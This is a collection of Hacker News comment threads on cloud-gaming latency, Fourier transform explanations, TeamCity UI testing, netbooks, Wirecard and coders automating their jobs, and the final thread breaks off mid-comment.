Compared to the traditional dedicated server scenario, cloud multiplayer
gaming could nearly halve the player to player latency.
~~~
TeMPOraL
Wait, how is adding _more_ servers into the mix going to _reduce_ latency?
~~~
willis936
I shoot. It takes 15 ms to show up on my screen. My shot then takes 50 ms to
make it to a server, which then takes another 50 ms to be sent to an opponent.
What the opponent sees and what I see are off by 100 ms. If all inputs were
handled by the server then everyone would agree on what they see, but delayed
by their latency to the server. Interpolation is exactly that. It has
significant error and is a serious threat to low time-to-kill competitive
games.
~~~
clarry
> If all inputs were handled by the server then everyone would agree on what
> they see
You can already have that; no need for streaming. For example, original Quake
handles all input on the server and movement feels kinda like skating on ice
with the latency. You can feel the latency when you shoot; your gun doesn't
actually fire until the server acknowledges it. _I 've played Quake online
somewhat recently, and I absolutely hate how it feels._ I can't imagine anyone
wanting to play like that. There's a damn good reason why newer engines added
client side prediction, even if it makes different players' view of the game
inconsistent.
Unreal Tournament, up to UT2004, (maybe later -- I'm not familiar enough with
newer ones) are similar. I think they added prediction for player's movement
at some point, and that alone makes it feel much better, but jump pads (and
such) are still unpredicted, shooting still has latency (I can't recall the
details; it's possible that your firing animation/sound is instant but actual
projectile only appears on your screen once the server acknowledges it).
It's great when you're playing with <20ms ping but it absolutely sucks to have
little to no prediction with higher ping. I much prefer unlagged Quake 3
engine games, where hitscan weapons hit what you see on your screen (they're
latency compensated on the server). Otoh some people argue for Unreal because
everything's synchronized and you don't see the ugly side effects of
prediction, like getting shot right after you leap into safety behind a
corner.
Notice that interpolation and prediction are two different things!
Interpolation actually _increases_ latency; I turn it low or off in Quake 3.
The result is that everyone's movement is jerky (they update when the server
sends an update; higher packet rate is better). If you enable interpolation,
then their location is going to be interpolated between two most recent
updates.
~~~
lonelappde
When you say "interpolation" do you mean "smoothing"? Interpolatiin is filing
in missing data. Smoothing is adding error to eliminate discontinuity.
~~~
clarry
Why not both? The data you receive from a server is discontinuous. You
interpolate (and potentially extrapolate) to fill in missing data to eliminate
discontinuity.
------
golf3
The correct word is foundering.
------
anonymouswacker
Google needs to just give up and realize they're an ad and marketing company,
and continue to be very, very good at it.
~~~
fenwick67
Honestly their work on fringe projects like this seem more like PR than
anything. It makes them look like an innovative company with consumer-facing
products, rather than an ad company.
~~~
anonymouswacker
Interesting idea. It would be sad to be an engineering team working on these
poorly managed products, then.
~~~
lmm
Having worked in a company that was more of a PR exercise than something
intended to actually generate revenue, it's an interesting mix. You get the
time to engineer everything really well, you're encouraged to use the latest
technology, go to conferences, and improve your own skills. At its best, it's
the same kind of "blue-sky engineering" that you hear about people having done
at Xerox Parc or Bell Labs. But without that bit of pressure to actually
deliver something, it's very easy to get lost in overengineered architecture,
and if someone high up makes a bad design decision it's very hard for the
consequences to be brought to bear in a way that matters.
------
otabdeveloper4
Wow, what a surprise.
/s
------
stopads
Ambitious or half-assed? You'd have to know literally nothing about gaming to
call Stadia ambitious.
------
carapace
No visible content with JS disabled. Bleah.
------
eximius
If they really want to reach gamers, they should buy Discord and integrate it
into their platform.
And then we can make fun of them for having yet another chat app. It's a win-
win.
------
Karishma1234fff
As a gamer I have bigger issues with Google. I would rather prefer Japanese or
Chinese companies to be better custodians of gaming industry than Google.
Microsoft too in my opinion has done a better job.
It is only matter of time before some google snowflake would call a game
transphobic or "too violent" etc. and write lengthy posts that the game be
pushed off Stadia. Right now this is not a problem but if google becomes 1st
or 2nd largest player this would be increasingly a problem.
I am a big lover of violent video games and Google is not good for such games
IMO.
| {
"pile_set_name": "HackerNews"
} |
The Death, and Life, of Reading Have Been Greatly Exaggerated - Tomte
http://lj.libraryjournal.com/blogs/annoyedlibrarian/2016/08/18/the-death-and-life-of-reading-have-been-greatly-exaggerated/
======
Tomte
Money quote: "We never had a reading culture. We had an entertainment culture
where reading was the easiest form of entertainment."
| {
"pile_set_name": "HackerNews"
} |
Technical interview question: “What do you think of this tutorial?" - raganwald
http://www.functionx.com/cpp/examples/returnpointer.htm
======
zaptheimpaler
I suppose you want the candidate to point out that returning pointers to local
variables of a function is a bad idea? (and tell you to either declare the
variable in a bigger scope or allocate it on the heap). Seems like a really
easy question, so I guess it could be a good question to quickly weed out bad
candidates.
~~~
raganwald
I wasn’t particularly serious about actually using it in an interview. If I
did, I’d be sure to soften the question:
“Hey, I have something here, it’s more of a conversation starter than a hard
question. This is a C++ tutorial taken off the Internet. We all know that
programming examples aren’t best practices, but let’s discuss these code
examples as if they were serious proposals."
"It’s not necessary that you try to guess all of the things I might dislike
about this code, I’m just looking to have a conversation about whatever you
feel like discussing.”
I think the second sentence is important. I find “spot all the errors” to be
very stressful, so when I do ask questions like that I try to make sure the
candidate knows that I’m not grading the question by how many WTFs he or she
finds.
| {
"pile_set_name": "HackerNews"
} |
Wirecard’s real business relied on small number of customers - chewz
https://www.ft.com/content/7c466351-02fe-4d66-85a1-53d012de7445
======
samizdis
Copy of article (minus a graphic) available at:
[https://geekly.co.uk/wirecards-real-business-relied-on-
small...](https://geekly.co.uk/wirecards-real-business-relied-on-small-number-
of-customers/)
One, among many, interesting bits:
> _The German company appears to have an unusually lucrative relationship with
> a collection of almost 4,000 porn, dating and related customer service
> websites registered to 175 companies in the UK and Cyprus.
Pornographic websites in the network typically advertised three-day free
trials, before charging $39.95 per month after that. Wirecard kept about 15
per cent of the transaction volumes generated by these customers in the first
half of 2017, according to documents reviewed by the FT.
That compares with rates of about 3 per cent the German company charged larger
porn purveyors, such as Luxembourg-based LiveJasmin and the US-controlled
Chaturbate.
Charging such a high rate raises fresh questions about Wirecard’s compliance
with anti-money laundering regulations._
| {
"pile_set_name": "HackerNews"
} |
Mini-laptops sell faster during economic crisis - snydeq
http://www.infoworld.com/article/08/10/15/Minilaptops_sell_faster_during_economic_crisis_1.html
======
sjs382
I think it has more to do with price and availability. Before this generation
of 'netbooks', it cost a small fortune to get a tiny notebook. Now with light,
portable (both being highly desirable features to a lot of people) 'netbooks'
being the cheapest on the market, it makes sense that they're taking off.
I'm going to get one myself eventually, but haven't dove in yet. I want to get
one with a good keyboard, and the Asus really isn't good enough. Haven't
touched the Dell, MSI, or Aspire yet but I hope they're better.
------
streety
As far as I'm aware this is the first economic crisis during which mini-
notebooks have been available. I don't see how you can tease out the effect of
the crisis from the other factors involved in their growing sales.
------
sidsavara
I just bought one, but I've been waiting for the Acer Aspirwe 6 cell to come
out. Plus, Dell just released the new laptop which people have been waiting
for for what, 6 months? It got tons of techie press coverage.
I think that while it is an interesting trend, the causation implied by the
title is misleading. The crisis has nothing to do with why I bought my laptop,
nor why three of my friends bought theirs. It's just the timing of it - Dell
and Acer both came out with laptops people were waiting for just as the
economy was slowing.
------
graphain_
"but the economic crisis is contributing to softer growth in the U.S. market,
according to Gartner"
This article doesn't point at any correlation between the economic crisis and
mini-laptops.
Indeed, all it says is mini-laptop sales take up a slightly larger percent of
mobile computing sales than last year, most likely because prices have fallen
and publicity has risen.
------
arien
Crisis is surely a factor, but I think it also counts that they are practical
and easy to carry around, while being more powerful than just a PDA or a
phone.
I'm considering getting one to replace the paper notebook I drag around to
write my notes. I don't need a 17" screen for that, but a mobile interface is
also not comfortable enough.
| {
"pile_set_name": "HackerNews"
} |
Show HN: Ilograph – Interactive System Diagrams - Veuxdo
https://app.ilograph.com/demo.ilograph.Ilograph/Request/interactive-system-diagrams
======
bastijn
Previous threads. @OP consider adding what changed since last Show HN'S.
[https://news.ycombinator.com/item?id=21999734](https://news.ycombinator.com/item?id=21999734)
[https://news.ycombinator.com/item?id=20390560](https://news.ycombinator.com/item?id=20390560)
| {
"pile_set_name": "HackerNews"
} |
Font Custom - Generate Custom Icon Web Fonts From The Command Line - Hirvesh
http://fontcustom.com/
======
Hirvesh
Via Functionn - Open Source Resources For Web Developers & Designers:
[http://functionn.blogspot.com/2012/11/font-custom-
generate-c...](http://functionn.blogspot.com/2012/11/font-custom-generate-
custom-icon-web.html)
P.S. Functionn contains a whole lot more of awesome resouces like Font Custom.
There only a fraction of them I can post here at a time. Take a look if you're
interested, and subscribe:
<http://functionn.blogspot.com>
| {
"pile_set_name": "HackerNews"
} |
Traction Stack - activatedgeek
http://tractionstack.com/
======
activatedgeek
The website that goes along with the book [https://www.amazon.com/Traction-
Startup-Achieve-Explosive-Cu...](https://www.amazon.com/Traction-Startup-
Achieve-Explosive-
Customer/dp/1591848369/ref=sr_1_2?ie=UTF8&qid=1488258006&sr=8-2&keywords=traction)
| {
"pile_set_name": "HackerNews"
} |
Fourier transform for dummies - wfn
https://math.stackexchange.com/questions/1002/fourier-transform-for-dummies
======
thomasahle
This is what made it `click' for me: [http://betterexplained.com/articles/an-
interactive-guide-to-...](http://betterexplained.com/articles/an-interactive-
guide-to-the-fourier-transform/)
Ever since I found Better Explained I have recommended it to anyone wanting to
get actual intuition for high school / undergraduate level math concepts.
~~~
jakejake
Thanks for that - looks like an interesting site for all kinds of math-related
subjects.
I found another page that I felt like offers an nice overview of the Fourier
transform and various practical uses, without getting into the actual
implementation details - [http://nautil.us/blog/the-math-trick-behind-
mp3s-jpegs-and-h...](http://nautil.us/blog/the-math-trick-behind-mp3s-jpegs-
and-homer-simpsons-face)
~~~
jaynos
This is the one that made it click for me...even after learning them 4 or 5
times is assorted calc classes. I actually came to the comments here hoping
that someone had posted the link because I lost it.
------
joosters
I understand Fourier transforms, but the top rated answer IMO is a terrible
and confusing way of introducing them to someone.
~~~
tptacek
... because...
~~~
joosters
Because it introduces and relies upon far too many other mathematical
concepts. Angular frequencies, complex numbers, integrations and a lots of
formulas. It was a '...for dummies' question and you can explain FTs with much
simpler means.
The example that worked best for me is with audio sampling. A demonstration of
how you can build up a 'wiggly line' to match an audio sample by adding
together multiple waves of different frequencies. This then leads into talking
about a real world example - mp3 encoding.
~~~
zodiac
In my experience, math.stackexchange likes mathematical rigour and presupposes
some mathematical maturity. There are a fair number of professional
mathematicians using the site.
Sure, if you just want a "for dummies" understanding, a hand-wavy example like
the second highest voted answer suffices. But if you want to learn it properly
(prove theorems, etc), you need to know concepts like complex numbers and
integration.
~~~
mturmon
If you wanted something more deep than the square wave example, you could
explain _why the complex exponential is used_. This would provide important
insight, because a smart reader might say, OK fine, square wave approximation,
but why don't we use step functions or gaussian-shaped bumps or anything else
as basis functions.
By the Stone-Weierstrass theorem
([http://en.wikipedia.org/wiki/Stone–Weierstrass_theorem](http://en.wikipedia.org/wiki/Stone–Weierstrass_theorem))
we know that lots (really, lots!) of sets of functions would work, not just
complex exponentials.
The story I tell myself about that is, "complex exponentials are the (unique)
eigenfunctions of linear time-invariant systems".
Simply put, this means that if S(.) is a system that has derivatives and
integrals, and scaling and shifting in time, then
S(exp(i omega t)) = const * exp(i omega t)
I.e., you put in a complex exponential, you get out a (scaled) complex
exponential. That's not going to happen, in general, for other basis
functions.
This property is (under some not too restrictive conditions) basically a
defining property of the complex exponential. (Basically, notice that d/dt
[exp (a t)] = a exp(a t) -- which turns out to have a converse as well.)
Then, because S is linear, a linear combo of complex exponentials (on the
input of S) transforms into a weighted combo of the same exponentials on the
output.
To me, that's the deeper reason that Fourier analysis is important. Those
sines and cosines are mathematically inevitable, right from the moment in high
school when you learned d/dx e^x = e^x.
Noted on that SE page (the OP) is a related, but subsidiary property, that the
Fourier bases are also the eigenfunctions of the wave equation. But the wave
equation is linear, so this follows from the above reasoning.
I imagine, but I don't know, that the usefulness of the Fourier basis for
quantum-mechanical analysis also follows from linearity.
------
lutusp
Topic aside, I'm now officially jealous of those who post to
StackExchange/Mathematics, because they can post Latex and see it rendered:
<p>$$z(t) = \int_{-\infty}^{\infty}R(\omega) e^{i\omega t}
\mathrm{d}\omega$$</p> ->
[https://i.imgur.com/fLFlv7f.png](https://i.imgur.com/fLFlv7f.png)
I can do this when I create a page on my site (I also have MathJax installed),
but none of the discussion groups I post to supports Latex rendering. I keep
thinking this will eventually become universal, but IMHO "eventually" is
taking too long.
Anyway: [http://www.mathjax.org/](http://www.mathjax.org/) (it's free)
------
quarterwave
Start with different people talking all at once - some loudly, some softly. We
can try and make out what someone is saying, but it's not easy. So we put each
person on a different radio station & we then 'tune' our radio with a little
knob and dial.
If our ears could hear radio frequencies - like AM1070 - then each station by
itself would sound like a dull drone or a tuning fork. It's dull because it's
repetitive - it sounds the same this second as it sounded the previous one. To
make the drone interesting we multiply it with a person's voice signal (say
from a microphone or rolling tape) - then the drone kind of goes wah-wuh-wuh-
wah, and this 'modulated' signal is a lot more interesting.
That's basically the Fourier transform - a sum of Speech.Station signals,
where Speech is interesting and Station is repetitive.
\---
We can play this same game with the speech itself - or music. Think of each
note do-re-mi-... as radio stations, and the pressure applied to each key of
the piano as the speech. So, music can be represented by a combination of the
form KeyPressure.MusicalNote. The KeyPressure sequence can be recorded in a
music sheet. The notes themselves are boring (as the kids say in The Sound of
Music, the notes don't _mean_ anything), it's the "multiplication and sum"
with the KeyPressure sequence that makes music.
Again, note the summation overy x.y terms, where x is interesting and y is
repetitive - that's the Fourier transform.
Historical sidelight: The simplest sheet music is Morse code, dah-dit. When
telegraph became a booming business there was a shortage of wires to handle
the volume of messages. People wanted a way to send more Morse per wire.
Alexander Graham Bell had a bright idea - this was a few decades before radio
- he took several Morse streams & put each dit-dah-dah-dit-dah sequence onto
separate notes (like do-re-mi), and then sent the lot down a single wire. As
he played with his system he had the deep insight that if the Morse code was
replaced by sheet notation, then he could transmit music down a wire - and
that became the telephone!
------
malanj
Winamp's audio visualiser really helped me to understand the idea of time and
frequency domains.
It was pretty crude, but is was a nice way to see how a piece of music looked
in the frequency domain. I kept that mental model in my head all the way
through engineering.
------
dnautics
You can take a general function and break it into its 'component' polynomial
terms, this is called the taylor series.
You can also take a periodic function and break it into its 'component' sines
and cosines. This is called the fourier series.
Fourier transform is _essentially similar_ to the fourier series except you're
allowed to have non-integer frequency multiples.
You can see how FT and FS are useful for analyzing all sorts of things that
are periodic. MP3s, for example use a similar system to encode music (it's
called the discrete cosine transform) and compression is enabled by deleting
information that your ear will fill in - but this information is most easily
selected and deleted by looking at the MP3 in terms of frequency and amplitude
over time.
~~~
jjoonathan
> You can take a general function and break it into its 'component' polynomial
> terms, this is called the taylor series.
> Fourier transform is essentially similar to the fourier series except you're
> allowed to have non-integer frequency multiples.
Not really. Taylor series are "optimal" in a completely different way from
Fourier series. Since the "decomposition strategy" used by Fourier series is
completely general (there are polynomial equivalents of the Fourier Series)
it's worth drawing the distinction.
The Taylor Series gets all of its information from the neighborhood of a
single point. Thought experiment: consider the curve e^x. Now set it to 0
everywhere outside of the interval (-e,e) where e is arbitrarily small. Now
take the taylor series of the curve at the point x=0. You get back the
original curve e^x -- the Taylor Series completely ignores the fact that your
curve no longer looks anything like e^x! You can do even worse than that:
paste a tiny, almost-linear segment of 1+sin(x) into e^x around the origin.
You couldn't tell the difference looking at the curve (they both look like
e^x) but the Taylor series would converge to the sin, not to the e^x curve you
"transplanted" the patch into. Taylor series are good for answering the
question "How does f(x) change if I nudge x a bit?" but they are very bad at
answering the question "what polynomial best approximates f(x) over its
domain?".
If you want to answer the latter question, you should use linear algebra and
change of basis / orthogonal filter banks / whatever you want to call it. This
is the trick used by the Fourier Series and the Discrete/Fast Fourier
Transform. It works for polynomials too: google "Legendre polynomials" or
"Hermite polynomials" for more information on polynomial analogs of the
Fourier Series (if you haven't had linear algebra, I highly recommend Axler's
book, which will teach you how to use generalized inner products to perform
this trick). There's a second type of polynomial approximation called
"Lagrange interpolation" which approximates a function using polynomials by
evaluating it at certain points rather than by integrating it. Lagrange
interpolations are only distantly related to Legendre/Hermite/etc polynomials
but both strategies answer the question of "what polynomial best approximates
f(x) over its domain?" much better than Taylor series.
Also, if you ever want to learn how MP3/JPG compression actually works, you'll
want the DCT, which is another relative of the FFT. If you know the relevant
linear algebra, the distinction is trivial (DCT has implied "mirror" symmetry
at the endpoints rather than "wrap" symmetry so you don't get ringing if the
color changes from one edge of a block to the other). DCT, FFT, Legendre
polynomial approximation, Hermite polynomial approximation, etc all use the
same simple trick (cue "one weird trick" ad). If you don't know the relevant
linear algebra, it's a bunch of black magic. But the relevant math is
accessible enough that I highly recommend looking into it. I've already
mentioned Axler's book (Linear Algebra Done Right) -- it's accessible to
anyone with a semester or two of calculus under their belt and it'll get you
to the point of understanding how all of these transforms are basically just
rotation matrices for high-dimensional spaces (one dimension for every point
you evaluate the function at) within a few chapters.
The key is to understand the distinction between vectors/operators as
understood by mathematicians and the blocks of numbers called vectors/matrices
by engineers. The latter are like a shadow cast by the former. Learn about the
former and you'll see that the DCT, FFT, etc are shadows of the exact same
concept as the familiar triplets of real numbers, just cast at a different
angle, if that makes sense.
~~~
ArbitraryLimits
> Lagrange interpolations are only distantly related to Legendre/Hermite/etc
> polynomials
Actually ... take an nth degree polynomial from your favorite orthogonal set.
For each of its n+1 zeros, construct by Lagrange interpolation the polynomial
which is 1 at that zero and 0 at the others. Then that set of n+1
interpolating polynomials has the same relation to the orthogonal polynomials
of degree 0 through n that (periodized) sincs have to sinusoids, i.e. you can
decompose an n degree or lower polynomial in either basis, and the two
representations are related by something like a Fourier transform.
~~~
jjoonathan
Huh, cool. I was familiar with using the division algorithm to prove that
Gauss quadrature worked, but I never chased the notion any further. I suppose
you're right, the DCT does the exact same thing when it samples a function at
a finite number of points.
------
revelation
First occurence of "frequency domain" is in the lower 1/4th of the page..
~~~
j2kun
I always hated that term. And signal. Took me way too long to figure out that
signal just means function.
~~~
JTon
Does the use of the word signal spawn from its application in communications
theory? I've never found it strange using the word signal but it might be
because of my EE background. Frequency domain and time domain never irked me
either :/
~~~
ArbitraryLimits
"Signal" has always bugged me because it has the connotation of a function of
_time_ , whereas historically the Fourier series were first used to represent
functions of _space_.
~~~
wglb
But the point is that the transform shows you two representations, one time-
based, the other frequency-based, of the same signal.
And notice that time is a component in each of these.
~~~
zodiac
It doesn't _need_ to be time- and frequency- based. For example in quantum
mechanics you transform from position to momentum space. I think the complaint
was that the word "signal" excludes this later case while "function" is more
general.
------
wglb
How about instead of the discredited history of epicycles "Fourier transforms
are a way to translate from the frequency domain to the time domain and back"?
~~~
Florin_Andrei
TBH, what made me understand the whole "frequency domain to time domain, and
back again" thing was actually the F transform. When I hear that expression, I
go "oh yeah, Fourier transform".
Honestly, for me, the sine curve + sine curve + sine curve + ... explanation
was perfectly good even on an intuitive level. Perhaps that's because I've
spent some of my adolescence in front of a computer doing tons of
visualizations and graph plots, and because at the same time I was doing quite
a bit of electronics (radio frequency and so on) and audio synthesis. At some
point, you just go "yeah, I see it".
Fun anecdote: A square wave is made entirely of odd harmonics (3, 5, 7, ...).
There are no even harmonics in it. When you can see why intuitively, you've
understood Fourier.
| {
"pile_set_name": "HackerNews"
} |
How we test the TeamCity UI - el_duderino
https://blog.jetbrains.com/teamcity/2020/06/teamcity-ui-how-do-we-test-it/
======
ed_balls
Great post about testing, it's pretty much all you need to develop a robust
app.
BUT TeamCity UX is the worst UI from all CI systems that I have used. From
first version of Jenkis to managed stuff like CircleCI. People hate is so much
that someone added a Slack icon :teamshitty: at work.
~~~
cglong
Having never used TeamCity (but being intrigued), what's so bad about it?
~~~
snuxoll
As somebody who does like TeamCity - it can be a bit clunky to navigate
around. It’s much like Zabbix in that once you figure it out it’s not a
problem, but the learning curve for anything beyond basic use can be steep.
I pretty much use Gitlab CI these days for anything outside my day job though,
and the stuff at work is all Azure Pipelines (via Azure DevOps) now.
------
drinchev
The snapshots part is something that I completely disagree.
> Here, we change the engine type from turbofan to propfan. Just to test how
> it works. Since the new engine no longer matches our snapshot, the test
> fails. We’ve got a report, and our engineers are on their way to investigate
> the problem.
I would be really happy if I know that the onboard computer has tests that
checks if the engine being used is compatible before it takes off.
IMO, tests in general should be as close as possible to the real use-case (
kudos for the screenshot testing ) and as far as possible from the
implementation. What happens with snapshots is that you are bound to the
implementation. Maybe I have a logic somewhere in my code that does
s/propfan/turbofan/. Would a user be interested in that or the functionality
itself?
We ditched all JEST's snapshots statements in our code-base, because of code-
coverage abuse and false sense of "being safe" just a couple of months ago. It
was a good decision that helped us be closer to "what the user sees" rather
than "what the markup should be"
~~~
bickeringyokel
Am I misunderstanding, or are snapshots basically just schema validation?
~~~
simoncarter
It's more akin to file diffing. Developers are notified of any differences in
snapshots. The developer can they either accept the new snapshot, or
investigate and fix.
------
hogFeast
For E2E testing, is the browser still totally necessary? I feel the React
rendering test libraries (React Testing Library/Enzyme) manage quite well? I
have used Selenium and that ilk before but find you get odd failures every now
and then (i.e. browser problems but also resources problems when you run
parallel tests).
Also, I am sure this will be pointed out several times, but snapshot testing
doesn't seem like a great idea. Your test is wrapped totally around your
implementation and it is kind of unclear what you are testing i.e. change
something, run test, snapshot fails because of UI update, update snapshot,
passes...if you introduce some kind of unexpected bug with that change, how do
you know? It works if you are testing for the same result but if you are
making changes to the snapshot, you lose all coverage...tests are just as
important then too.
Tbf, you usually end up wrapped around your implementation anyway (i.e.
checking to see if there is a button that has certain text) but I feel that
snapshots are a bit shortcut-y and give false confidence.
Surely the point of UI tests is to really test the functionality from the
point of view of the user...I don't think snapshots achieve this (and I have
always got in trouble when I strayed away from this principle...personally).
~~~
yen223
Tests are a trade - you spend some dev time writing and maintaining tests, and
in return you might save some time and money down the line, if the test
prevents bugs from doing damage. Tests aren't always good. There are tests
that are so difficult to write and maintain, that they basically never repay
their dev cost.
All that is to say, I like snapshot tests. Snapshot tests can be created and
updated automatically, basically making their dev cost close to 0. They are so
cheap that they don't actually have to catch a lot of bugs for them to be a
net positive.
------
kevsim
Anyone have experience with successfully doing UI tests (especially screenshot
tests) in a very young software product? We try to keep our "plumbing" code
and backend code well tested, but the UI is changing all of the time and I'm
quite worried it'd be a nightmare to maintain UI tests at this stage.
~~~
hugs
(Selenium project founder here.) Test maintenance cost is a sane thing to be
worried about! Early on, there can be lots of code thrashing and UI changes.
Better to keep the UI tests to a minimum at that stage - have them act more
like smoke alarms. You only need a few alarms in the right places to tell you
that _something_ is wrong. Other general advice is that in a young product,
it's often more important to make sure you're building the right thing.
("Right" is subjective, but could be defined as "has users" or "makes money".)
Having a well-tested product that has no users and/or makes no money is an
even bigger nightmare than UI test maintenance. Once you know you've built the
"right" thing (hopefully sooner than later), you can afford to invest more in
all kinds of test automation (not just UI tests).
------
brianmcd
> For example, a huge amount of UI problems we catch belong to the Screenshot
> testing stage. Fewer problems belong to the Linters / Unit / Render tests.
> That doesn’t make those tests meaningless. On the contrary, it could mean
> that we work in these areas well enough to prevent tons of issues.
They don't say how they measure "issues" in their chart, but if it's through
CI failures, it seems likely that "Linters / Unit / Render tests" catch fewer
issues because developers run them locally before pushing code.
------
tunesmith
I'm curious what kind of practices people have put in place to minimize the
need for UI tests? I personally believe a UI test should only be written as a
last result if it's impossible to test through other more backend-ish means.
When you combine concurrent test runs with shared mutable state, you get flaky
unreliable tests, and it's almost impossible to avoid with UI tests. So it
seems the better solution is to restructure your code as much as possible to
get as close as you can to the UI layer as possible with unit tests. But how
far can you actually push this? I'm currently sad because my team is in the
middle of a push to integrate Cypress into their react frontend, and I'm
dreading the future where we have a billion qa-written UI tests that are
redundant compared to our unit test coverage, and flaky besides.
~~~
bickeringyokel
A billion tests most certainly won't be useful. Good tests target very
specific things that are critical to your product. In my experience UI tests
are only slightly more flaky than other testing methods as long as they are
written well.
------
valuearb
As a mobile developer I read this eagerly looking for any useful ideas to
bring UI testing into my client projects. I’m digesting still but so far, no.
I’m intrigued by screenshot testing but can it work across all screen sizes,
from iPhone 6 to XR to iPad, and work in all orientations?
Otherwise my problems are that our designer made tap pinned too small in a
couple places without anyone noticing. Or that something isn’t perfectly
aligned or a line separator isn’t long enough, etc. they always seem to
require a human to use it and say, I don’t like this or this could be better.
~~~
benologist
I have been experimenting with this and the possibilities are very exciting.
[https://userdashboard.github.io/dashboard-
sitemap](https://userdashboard.github.io/dashboard-sitemap)
These screenshots are generated from the test suite for all my UI tests. I
have puppeteer navigate a series of steps and save each screenshot, resizing
to mobile resolutions. This is done in Chrome, Puppeteer also supports
Firefox. The screenshots are then integrated with my documentation both as
sitemaps like above and to demonstrate usage:
[https://userdashboard.github.io/administrator/reset-
codes](https://userdashboard.github.io/administrator/reset-codes)
They are generated from a simple sequence of steps added to my tests, which
can run with or without saving/generating the screenshots:
req1.screenshots = [
{ hover: '#administrator-menu-container' },
{ click: '/administrator' },
{ click: '/administrator/accounts' },
{ click: `/administrator/account?accountid=${user.account.accountid}` },
{ click: `/administrator/account-reset-codes?accountid=${user.account.accountid}` }
]
The code for parsing those steps into Puppeteer actions is available here:
[https://github.com/userdashboard/dashboard/blob/master/test-...](https://github.com/userdashboard/dashboard/blob/master/test-
helper-puppeteer.js)
In addition to being user-friendly for documentation there is tremendous QA
opportunity to being able to observe every page at every resolution.
Everything required better code too, you cannot forget to link to a page or
have some part of the navigated route not working or have anything going wrong
anywhere.
I am finalizing localization so in the next week or so the documentation will
also be able to switch between any combination of language and device.
Note: some of my documentation/screenshots hasn't generated yet
~~~
valuearb
Im a native mobile app developer, need something that works with swift on IOS.
------
mister_hn
I'd more interested in a post about how do they test IntelliJ UI
------
FlashBlaze
The _Screenshots Diff_ section was amazing! Learned a ton from this section
alone as I wasn't even aware you could do something like this for UI testing.
------
rawoke083600
Good post.. wish they would start with what Team City is...
------
iFire
Does anyone know how to do ui screenshot testing for games and in c++ guis?
------
Kenji
Meanwhile the TeamCity classic GUI has frequent freezes that lock up the
entire Browser tab, and they claimed that they fixed it but it's still
happening in the latest release. Nice blog post but fix your shit please.
| {
"pile_set_name": "HackerNews"
} |
LinkedIn is down - cgopalan
http://linkedin.com/
======
day_
It's working here.
| {
"pile_set_name": "HackerNews"
} |
Calculate your total time spent watching TV shows - Siva1456
http://sivakodali.com/tv/
======
Siva1456
a
| {
"pile_set_name": "HackerNews"
} |
Show HN: Seobots.io – simple bots for task automation - grammakov
Hello HackerNews!<p>I would like to invite you to test drive a project I've been working on for qute a while: https://seobots.io
This is the long awaited (by myself) release of a concept that I have first presented a few years back.<p>The initial idea was to create a platform capable of hosting small scripts which I constantly make for work and grating everyone access to them, without the need for downloading anything from github or console knowledge requirements.<p>These scripts (aka "bots") can do all sorts of things, such as scraping, posting, parsing – you name it.<p>If you are a developer you can hook your service to the platform and make it available to the public.<p>Thanks for your time and looking forward to your feedback.
======
leshokunin
This is cool! We’re a small team working on automation for email. I’m curious
what’s your vision for this? Are you looking to sell the use of those scripts,
the making of them? Is this just you? Is this open source?
~~~
grammakov
Hey! Thanks for your feedback. The scripts aren't opensource. I'm a single
founder, the project is 100% bootstrapped. Hope this answers your questions!
| {
"pile_set_name": "HackerNews"
} |
22nd Dec aka the EA Massacre: Why we are skipping it - Gable
http://www.bitongo.com/index.php/2011/12/12/22nd-dec-aka-the-ea-massacre-why-we-are-skipping-it/
======
popmatrix
What's the difference if it's EA, Ubisoft, Apple etc... Nothing is preventing
a holiday price drop for bitongo which could be outweighed by the author's
projected increased holiday sales. Further, a good app will rise above
shovelware appropriately. Is this really a detrimental scenario for a start-
up?
~~~
Argorak
The problem is that EAs products are not shovelware, but actually worth the 7+
Dollars they usually sell for. Thats where the huge perceived value comes into
play.
~~~
Gable
Exactly. That's why I think releasing your game at Christmas time has the
least probability to be successful compared to any other release time.
------
radley
I'm curious how this applies/work in the Android Market. We can update at
anytime, but are there top 10 / featured marketing tricks there too?
~~~
resnamen
Funny you should ask, there's a 10 $.10 apps x 10 days promotion going on
right now.
~~~
radley
Actually, one of my apps was just part of that promo...
<https://market.android.com/details?id=cloudtv.hdwidgets>
Part of why I was curious about the other playground.
------
Macsenour
Better to release more content, for Christmas, for a polished game than to
EVER release a game that needs weeks of more polish.
| {
"pile_set_name": "HackerNews"
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Coders Automating Their Own Job - benryon
https://www.theatlantic.com/technology/archive/2018/10/agents-of-automation/568795/?single_page=true
======
peteforde
You know how sometimes you love an article so much that you are annoyed you
didn't write it? This does a better job than I could have of tieing together a
dozen threads of conversation that I've had with various friends for years.
I actually believe that there's a culture war implied in this debate; the
question of who deserves to reap the gains of automation is more than just
philosophy or ethics. The question "is there inherent nobility in work
itself?" seems to be just as much a political divide as any of the current
popular hot-button issues. Your gut reaction says a lot about the regional
values of where you grew up, whether you'd ever support a basic income, and
whether you believe that someone's refusal to work should condemn them to
destitution.
The closest comparison is the attitude people have if they find a wallet. In
Japan, you will get your wallet back with cash intact. Yet in the west, there
exists a large contingent of people who believe with all of their heart that
God wanted them to find it, that the person who lost it should have been more
careful, that they are just having a lucky day. Unless God shows up and
declares one side to be ethically correct, it will remain a toss-up.
One thing I find fascinating about the article is that it's assumed the
cleverness was the code written to automate. This is incorrect; the cleverness
is in noticing when a task can be automated. Typically, the code itself is
trivial.
Anyhow: automation is surely one of the best reasons every person should learn
a little bit of programming. And even with that task accomplished, I suspect
that the rate of people seeing the opportunity to automate will stay roughly
flat.
~~~
dec0dedab0de
_One thing I find fascinating about the article is that it 's assumed the
cleverness was the code written to automate. This is incorrect; the cleverness
is in noticing when a task can be automated. Typically, the code itself is
trivial._
I have told my work more than once that if they wanted to get the most out of
me they should put me on the "front line" for a month or two, and let me
decide what needs to be automated. It has always been laughed off as me being
cute.
~~~
tummybug
I have also asked this, I can't understand why my managers always think its a
joke idea.
~~~
Cthulhu_
It's because they don't want you to do their job. Job protectivism (?) is a
serious thing.
~~~
turnitoff
No. By the time you get hired and you are appointed a set of things to
automate, it's usually followed by a long line of deliberation and resource
management and prioritizing that's determined on the higher up.
There is a thing called "process debt", in the same way as technical debt,
that some things are done manually. This can be mundane routine work, that
might be up to 80% easy to automate, but allows for oversight and flexibility
and often works with systems that are not trivial to work with. Other times
the manual process is just cheaper to maintain than it is to invest in a "good
enough" automation. You can also follow this by looking at the practice of
offshoring and the amount of automation invested into offshored service
centers (who benefit most from these solutions via specialization and
scaling).
So even if the company hires a goddamn genius, if you want to automate stuff
